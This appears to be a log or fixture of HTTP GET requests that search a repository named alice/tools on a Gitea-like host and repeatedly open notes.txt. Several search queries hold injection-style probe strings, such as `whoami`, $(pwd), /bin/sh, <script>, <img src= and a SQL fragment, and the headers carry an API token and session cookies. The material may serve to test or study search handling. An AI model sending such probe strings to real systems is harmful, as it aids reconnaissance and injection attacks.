{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
